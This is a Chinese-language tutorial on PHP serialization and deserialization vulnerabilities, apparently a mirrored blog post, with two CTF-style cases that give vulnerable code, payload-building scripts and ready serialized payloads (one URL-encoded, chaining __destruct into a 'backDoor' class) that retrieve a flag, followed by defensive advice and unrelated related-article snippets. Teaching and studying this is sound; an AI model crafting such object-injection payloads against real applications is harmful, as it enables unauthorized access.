序列化与反序列化基础及反序列化漏洞(附案例)

devtools/2024/10/18 18:50:32/

参考文章:

[web安全原理]PHP反序列化漏洞 - 笑花大王 - 博客园 (cnblogs.com)

一、概念

        为了能有效的存储数据而不丢失数据的类型和内容,经常需要通过序列化对数据进行处理,将数据进行序列化后,会生成一个字符串,字符串包含了序列化前的数据的信息,交由反序列化函数处理后,即可复原数据。

        而在PHP中常用的序列化和反序列化函数则有:序列化函数(serializejson_encode),反序列化函数(unserializejson_decode)

二、PHP序列化

        这里着重介绍serialize函数

1、NULL序列化

        NULL将被序列化为N;:

        示例代码:

php"><?php
$text = NULL;
echo serialize($text);

        输出结果:

2、Boolean序列化 

        bool类型将被序列化为(b:value;):

        示例代码:

php"><?php
$text = true;
echo serialize($text);

        输出结果:

3、int序列化

        int类型将被序列化为(i:value;):

        由于在PHP中声明变量时不需要显式的将数据类型标出,因此当超出了int类型的范围(通常是-2,147,483,648到2,147,483,647)时,会被PHP解析为double类型

        示例代码:

php"><?php
$text = 123;
echo serialize($text);

        输出结果:

4、double序列化 

        double类型将被序列化为(d:value;):

        在PHP中类似于1.23和超出int类型范围(如:123124315213412512)的数据,通常都会被解释为double类型

        示例代码:

php"><?php
$text = 12.3;
$text1 = 123124124124123124;
echo serialize($text)."<br>";
echo serialize($text1);

         输出结果:

5、String序列化 

        String类型将被序列化为(s:length:"value"):

        示例代码:

php"><?php
$text = "e3xplolt-hada";
echo serialize($text);

        输出结果:

 6、Array序列化

        Array将被序列化为(a:length:{i:index;value(对应数据序列化后的结果如NULL则是N;);}):

        示例代码:

php"><?php
$text = array();
$text[0] = NULL;
$text[1] = true;
$text[2] = 123;
$text[3] = 1.23;
$text[4] = 123124315213412512;
$text[5] = "e3xplolt-hada";
echo serialize($text);

        输出结果:

 7、Object序列化*

        Obeject将被序列化为

(O:class_name_length:"class_name":value_num:{s:value_attribute(1,2+class_name_length+value_name_length,3+value_name_length):"value_name";value_type:value;})若属性为privatevalue_name为(class_name.value_name),若属性为protectedvalue_name为(*.value_name)

注: class_name=类名、class_name_length=类名长度

        value_name=变量名、value_name_length=变量名长度、value_type=变量类型(如intbool)、value_attribute=变量属性(如publicprivateprotected)、value_num=变量个数

        其中value_attribute后的1,2,3则分别代表publicprivateprotected,如在test1类内有一个变量为private $b="789",则序列化后value_attribute值为2+class_name_length(test1长度为5)+value_name_length(b长度为1),即2+5+1=8,所以为8

        示例代码:

php"><?php
class test1{public $a;private $b="789";private $ca="aacc";protected $c123=456; 
}
$test = new test1;
$test -> a = 123;
echo serialize($test);

        输出结果:

O:5:"test1":4:{s:1:"a";i:123;s:8:"test1b";s:3:"789";s:9:"test1ca";s:4:"aacc";s:7:"*c123";i:456;}

三、PHP反序列化

1、魔术方法

        __wake与__unserialize

        当对序列化后的对象进行反序列化时,在PHP存在类似于__wakeup__unserialize魔术方法,每次unserialize函数对对象进行反序列化操作时,都会尝试调用这个对象所属类中的__wakeup__unserialize方法,如果存在就会执行

        注:若__wakeup__unserialize方法同时存在,则__wakeup方法会被无视

        示例代码:

php"><?php
class test1{public $a;public function __wakeup(){echo "<br>"."e3xplolt-hada";}
}
$test = new test1;
$test -> a = 123;
echo serialize($test);
$test123=serialize($test);
$test=unserialize($test123);

        输出结果:

        __destruct

        该魔术方法会在某个对象不再被调用或者对象被销毁时调用

        示例代码:

php"><?php
class test1{public $a;public function __destruct(){echo "<br>"."e3xplolt-hada";}
}
$test = new test1;
$test -> a = 123;

         输出结果:

        

四、反序列化漏洞

1、漏洞成因

        反序列化函数传入参数可控

        类内存在魔法函数

2、案例分析

        unserialize函数传参可控

php"><?php
include "./flag.php";
class user{public $password="xxxxxx";public $username="xxxxxx";public $isadmin='e3xplolt-hada';public function login($u,$p,$id){if($this->username===$u&&$this->password===$p){$this->checkadmin($id); }}public function checkadmin($id){if($id===$this->isadmin){global $flag;echo "hello,admin:".$flag;}}
}
$user=unserialize($_GET['ser']);
$user->login($user->username,$user->password,$user->isadmin);

        分析代码:

        我们可以发现在函数unserialize中存在可控制的变量$_GET['ser'],同时他会在之后调用该类下的login方法,因此正常业务逻辑应为传输用户序列化后的信息给unserialize函数,再通过login进行登录并检测权限,但由于这里的传参未经正确的处理因此产生反序列化漏洞。这里可通过构造一个对象其$password变量为xxxxxx$username变量为xxxxxx$isadmin变量为e3xplolt-hada即可,因此我们有如下脚本可生成payload

        脚本代码:

php"><?php
class user{public $password="xxxxxx";public $username="xxxxxx";public $isadmin='e3xplolt-hada';
}
$text = new user;
echo serialize($text);

        payload:

O:4:"user":3:{s:8:"password";s:6:"xxxxxx";s:8:"username";s:6:"xxxxxx";s:7:"isadmin";s:13:"e3xplolt-hada";}

输出结果为:hello,admin:flag{hardtowork}

        魔术方法使用不当

php"><?php
include "./flag.php";
class user{private $username='xxxxxx';private $password='xxxxxx';private $isVip=false;private $class = 'info';public function __construct(){$this->class=new info();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}}class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}class backDoor{private $code;public function getInfo(){if($this->code==="givemeflag"){global $flag;echo $flag;}}
}
$user = unserialize($_GET['ser']);

         分析代码:

        分析代码可知如果我们想要获取flag,我们需要尝试用一个属于backDoor类的对象,去调用getInfo方法,并且该对象的私有变量code必须是字符串"givemeflag"。

        通过观察类user发现他会在创建一个新对象时,创建一个Info类的对象,并存储在class中。

        同时我们发现,当user类下的对象不再被调用或被销毁时会调用class所存储的对象所属类下的getInfo方法。

        从上面的分析我们可以得出突破口在__destruct方法中,若我们利用$user = unserialize($_GET['ser']);传入一个对象,该对象内部的变量class所存储的对象属于backDoor类,且该对象内的code变量值为"givemeflag",当对象被销毁时,则会自动调用backDoor类下的getInfo函数,获取flag

        脚本代码:

php"><?php
class user{private $username='xxxxxx';private $password='xxxxxx';private $isVip=ture;          private $class = 'backDoor';public function __construct(){$this->class=new backDoor();}public function login($u,$p){return $this->username===$u&&$this->password===$p;}public function __destruct(){$this->class->getInfo();}
}
class info{private $user='xxxxxx';public function getInfo(){return $this->user;}
}
class backDoor{private $code="givemeflag";public function getInfo(){if($this->code==="givemeflag"){global $flag;echo $flag;}}   
}
$p=new user();
$a=serialize($p);
echo urlencode($a);

        payload:

 O%3A4%3A%22user%22%3A4%3A%7Bs%3A14%3A%22%00user%00username%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A14%3A%22%00user%00password%22%3Bs%3A6%3A%22xxxxxx%22%3Bs%3A11%3A%22%00user%00isVip%22%3Bs%3A4%3A%22ture%22%3Bs%3A11%3A%22%00user%00class%22%3BO%3A8%3A%22backDoor%22%3A1%3A%7Bs%3A14%3A%22%00backDoor%00code%22%3Bs%3A10%3A%22givemeflag%22%3B%7D%7D

注:需保留URL编码,否则不认,原因暂不清楚

五、防御手段

        针对反序列化漏洞,我们需要着重观察函数unserialize及json_decode,注意可控参数的过滤

        同时关注类中如果出现魔术方法如__unserialize、__wakeup、__destruct时,需谨慎对待,过滤传参,保护其下的敏感函数如eval,system等


http://www.ppmy.cn/devtools/123035.html

相关文章

在线css像素Px到百分比(%)换算器

具体请前往&#xff1a;在线Px转百分比(%)工具--将绝对像素(px)长度单位转换为相对父级元素内尺寸的相对长度单位百分比(%)

通过PHP获取商品详情

在电子商务的浪潮中&#xff0c;数据的重要性不言而喻。商品详情信息对于电商运营者来说尤为宝贵。PHP&#xff0c;作为一种广泛应用的服务器端脚本语言&#xff0c;为我们提供了获取商品详情的便捷途径。 了解API接口文档 开放平台提供了详细的API接口文档。你需要熟悉商品详…

VRRP协议

文章目录 一、什么是VRRP协议 一、什么是VRRP协议 VRRP协议是一种用于提高网络可靠性的容错协议。 VRRP协议是一种容错的主备模式的协议&#xff0c;保证当主机的下一跳路由出现故障时&#xff0c;由另一台路由器来代替出现故障的路由器进行工作&#xff0c;通过VRRP可以在网络…

vue框架和uniapp框架区别

文章目录 vue框架和uniapp框架区别一、引言二、Vue.js 概述1、Vue.js 简介1.1、特点 2、适用场景 三、Uni-app 概述1、Uni-app 简介1.1、特点 2、适用场景 四、区别与比较1、跨平台能力2、开发体验3、性能优化4、社区和支持 五、总结 vue框架和uniapp框架区别 一、引言 在前端…

让机器来洞察他的内心!

本文所涉及所有资源均在传知代码平台可获取。 目录 洞察你的内心&#xff1a;你真的这么认为吗&#xff1f; 一、研究背景 二、模型结构和代码 D. 不一致性学习网络 E. 多模态讽刺分类 三、数据集介绍 四、性能展示 五、实现过程 1. 下载预训练的 GloVe 词向量&#xff08;Comm…

Ancient City Ruins 古代城市遗址废墟建筑游戏场景

这个包包含450多个古代遗迹预制件,可组合模块化预制件和许多建筑元素。它适用于室内和室外,并允许不同层次的定制建筑。 [亮点] 超过450个古代遗迹的预制件 可组合的模块化预制件 许多建筑元素 适用于室内和室外 允许不同层次的自定义建筑 预制房间和建筑 废墟装饰道具 基本自…

L4 KNN 算法

&#x1f368; 本文为&#x1f517;365天深度学习训练营 中的学习记录博客&#x1f356; 原作者&#xff1a;K同学啊 KNN 算法用于约会数据集分类 在这周中&#xff0c;学习如何使用 K 近邻&#xff08;K-Nearest Neighbors, KNN&#xff09;算法对一个约会数据集进行分类。KN…

HTB:Oopsie[WriteUP]

目录 连接至HTB服务器并开启靶机 1.With what kind of tool can intercept web traffic? 2.What is the path to the directory on the webserver that returns a login page? 3.What can be modified in Firefox to get access to the upload page? 4.What is the acc…